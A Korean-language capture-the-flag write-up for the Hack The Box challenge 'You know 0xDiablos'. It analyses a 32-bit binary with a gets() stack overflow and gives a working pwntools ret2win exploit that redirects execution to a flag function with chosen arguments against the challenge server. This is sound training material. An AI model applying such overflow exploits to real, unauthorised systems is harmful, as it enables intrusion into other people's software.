[Hack The Box] Pwnable - You know 0xDiablos

💡 CHALLENGE DESCRIPTION

I missed my flag

 

✔️ checksec 확인

$ checksec --file=vuln 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/koharin/.cache/.pwntools-cache-3.8.
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wi:
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.7.0)
[*] '/home/koharin/HackTheBox/You_know_0xDiablos/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

canary도 없고, 별다른 보호기법이 적용되어 있지 않은 32bit 바이너리이다.

 

 

🔍 코드 분석

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // ST1C_4

  setvbuf(stdout, 0, 2, 0);
  v3 = getegid();
  setresgid(v3, v3, v3);
  puts("You know who are 0xDiablos: ");
  vuln();
  return 0;
}

main 함수에서 스트링을 출력하고 vuln 함수를 호출한다.

int vuln()
{
  char s; // [esp+0h] [ebp-B8h]

  gets(&s);
  return puts(&s);
}

vuln 함수에서는 gets 함수로 버퍼 s에 입력받는다.

gets 함수의 경우 입력 길이를 검사하지 않아 오버플로우 취약점이 존재한다.

 

char *__cdecl flag(int a1, int a2)
{
  char *result; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", (const char *)&unk_804A008);
  if ( !stream )
  {
    puts("Hurry up and try in on server side.");
    exit(0);
  }
  result = fgets(&s, 64, stream);
  if ( a1 == 0xDEADBEEF && a2 == 0xC0DED00D )
    result = (char *)printf(&s);
  return result;
}

flag 함수를 확인할 수 있는데, flag 함수의 인자 a1이 0xDEADBEEF 그리고 a2가 0xC0DED00D인 경우에 flag를 출력해준다.

.text:080491E2 flag            proc near
.text:080491E2
.text:080491E2 s               = byte ptr -4Ch
.text:080491E2 stream          = dword ptr -0Ch
.text:080491E2 var_4           = dword ptr -4
.text:080491E2 arg_0           = dword ptr  8
.text:080491E2 arg_4           = dword ptr  0Ch
.text:080491E2
.text:080491E2 ; __unwind {
.text:080491E2                 push    ebp
.text:080491E3                 mov     ebp, esp
.text:080491E5                 push    ebx
.text:080491E6                 sub     esp, 54h
.text:080491E9                 call    __x86_get_pc_thunk_bx
.text:080491EE                 add     ebx, 2E12h
.text:080491F4                 sub     esp, 8
.text:080491F7                 lea     eax, (unk_804A008 - 804C000h)[ebx]
.text:080491FD                 push    eax             ; modes
.text:080491FE                 lea     eax, (aFlagTxt - 804C000h)[ebx] ; "flag.txt"
.text:08049204                 push    eax             ; filename
.text:08049205                 call    _fopen
.text:0804920A                 add     esp, 10h
.text:0804920D                 mov     [ebp+stream], eax
.text:08049210                 cmp     [ebp+stream], 0
.text:08049214                 jnz     short loc_8049232
.text:08049216                 sub     esp, 0Ch
.text:08049219                 lea     eax, (aHurryUpAndTryI - 804C000h)[ebx] ; "Hurry up and try in on server side."
.text:0804921F                 push    eax             ; s
.text:08049220                 call    _puts
.text:08049225                 add     esp, 10h
.text:08049228                 sub     esp, 0Ch
.text:0804922B                 push    0               ; status
.text:0804922D                 call    _exit
.text:08049232 ; ---------------------------------------------------------------------------
.text:08049232
.text:08049232 loc_8049232:                            ; CODE XREF: flag+32↑j
.text:08049232                 sub     esp, 4
.text:08049235                 push    [ebp+stream]    ; stream
.text:08049238                 push    40h             ; n
.text:0804923A                 lea     eax, [ebp+s]
.text:0804923D                 push    eax             ; s
.text:0804923E                 call    _fgets
.text:08049243                 add     esp, 10h
.text:08049246                 cmp     [ebp+arg_0], 0DEADBEEFh
.text:0804924D                 jnz     short loc_8049269
.text:0804924F                 cmp     [ebp+arg_4], 0C0DED00Dh
.text:08049256                 jnz     short loc_804926C
.text:08049258                 sub     esp, 0Ch
.text:0804925B                 lea     eax, [ebp+s]
.text:0804925E                 push    eax             ; format
.text:0804925F                 call    _printf
.text:08049264                 add     esp, 10h
.text:08049267                 jmp     short loc_804926D

이때 flag를 출력해주는 조건이 있는데, flag 함수 인자로 0x8 위치에 0xDEADBEEF를, 0xC 위치에 0xC0DED00D 주어야 한다.

 

이 정보로 생각해볼 수 있는 시나리오는 stack buffer overflow 취약점으로 return address를 flag 주소로 덮고, flag 인자 조건을 만족해서 페이로드를 줘서 flag를 출력하는 것이다.

 

 

🚩 Exploit

Exploit Flow

x86의 경우 x64와 다르게 stack에서 buffer + SFP + return address 구조에서 buffer + SFP 사이에 dummy 데이터가 존재할 수 있다. 따라서 디컴파일러로 확인한 s 버퍼의 0xB8 오프셋이 정확한 buffer 오프셋이 아닐 수 있기 때문에 디버깅으로 stack 구조를 확인해본다.

s 버퍼에 'A'*0xB8을 준 후 디버깅을 해본다.

pwndbg> search 'AAAA'
[heap]          0x8f471a0 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[...]
[stack]         0xffdae4e0 0x41414141 ('AAAA')
[stack]         0xffdae4e4 0x41414141 ('AAAA')

스택 내 데이터 위치를 확인하고, 해당 위치에서 stack 구조를 확인해본다.

(바로 데이터가 들어간 스택 주소를 확인할 수 없어서 search를 사용했다.)

 

'A'*0xB8의 buffer 데이터 뒤에 SFP 4바이트와 return address 4바이트가 위치한다.

별다른 dummy 데이터 없이 buffer(0xB8) + SFP(4) + return address(4) 구조임을 알 수 있다.

 

그럼 flag 주소를 구하고 페이로드를 작성하면 flag를 구할 수 있다.

$ objdump -d vuln | grep -B3 "flag"
080491e0 <frame_dummy>:
 80491e0:	eb 8e                	jmp    8049170 <register_tm_clones>

080491e2 <flag>:
--
 804920a:	83 c4 10             	add    $0x10,%esp
 804920d:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8049210:	83 7d f4 00          	cmpl   $0x0,-0xc(%ebp)
 8049214:	75 1c                	jne    8049232 <flag+0x50>
--
 804923e:	e8 0d fe ff ff       	call   8049050 <fgets@plt>
 8049243:	83 c4 10             	add    $0x10,%esp
 8049246:	81 7d 08 ef be ad de 	cmpl   $0xdeadbeef,0x8(%ebp)
 804924d:	75 1a                	jne    8049269 <flag+0x87>
 804924f:	81 7d 0c 0d d0 de c0 	cmpl   $0xc0ded00d,0xc(%ebp)
 8049256:	75 14                	jne    804926c <flag+0x8a>
--
 804925e:	50                   	push   %eax
 804925f:	e8 cc fd ff ff       	call   8049030 <printf@plt>
 8049264:	83 c4 10             	add    $0x10,%esp
 8049267:	eb 04                	jmp    804926d <flag+0x8b>
 8049269:	90                   	nop
 804926a:	eb 01                	jmp    804926d <flag+0x8b>

ASLR이 걸려있지 않기 때문에 objdump 명령어를 통해 flag 주소를 구해준다.

flag 주소: 0x080491e2

 

Exploit Code

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./vuln")
elf = ELF("./vuln")
p = remote('142.93.40.197', 31743)

flag = elf.symbols['flag']
log.info("flag: " + hex(flag))

pay = 'A'*(0xB8+4)
pay += '\xe2\x91\x04\x08' # 0x80491e2
pay += 'B'*4 # dummy
pay += '\xEF\xBE\xAD\xDE'
pay += '\x0D\xD0\xDE\xC0'

p.sendlineafter(": \n", pay)                                                                                                                                                                               

p.interactive()

buffer + SFP(0xB8+4) + return address(flag) + BBBB(dummy) + DEADBEEF(인자, +8 위치) + C0DED00D(인자, +0xC 위치)로 페이로드를 준다.

 

위의 exploit code 실행 시 flag를 얻을 수 있다.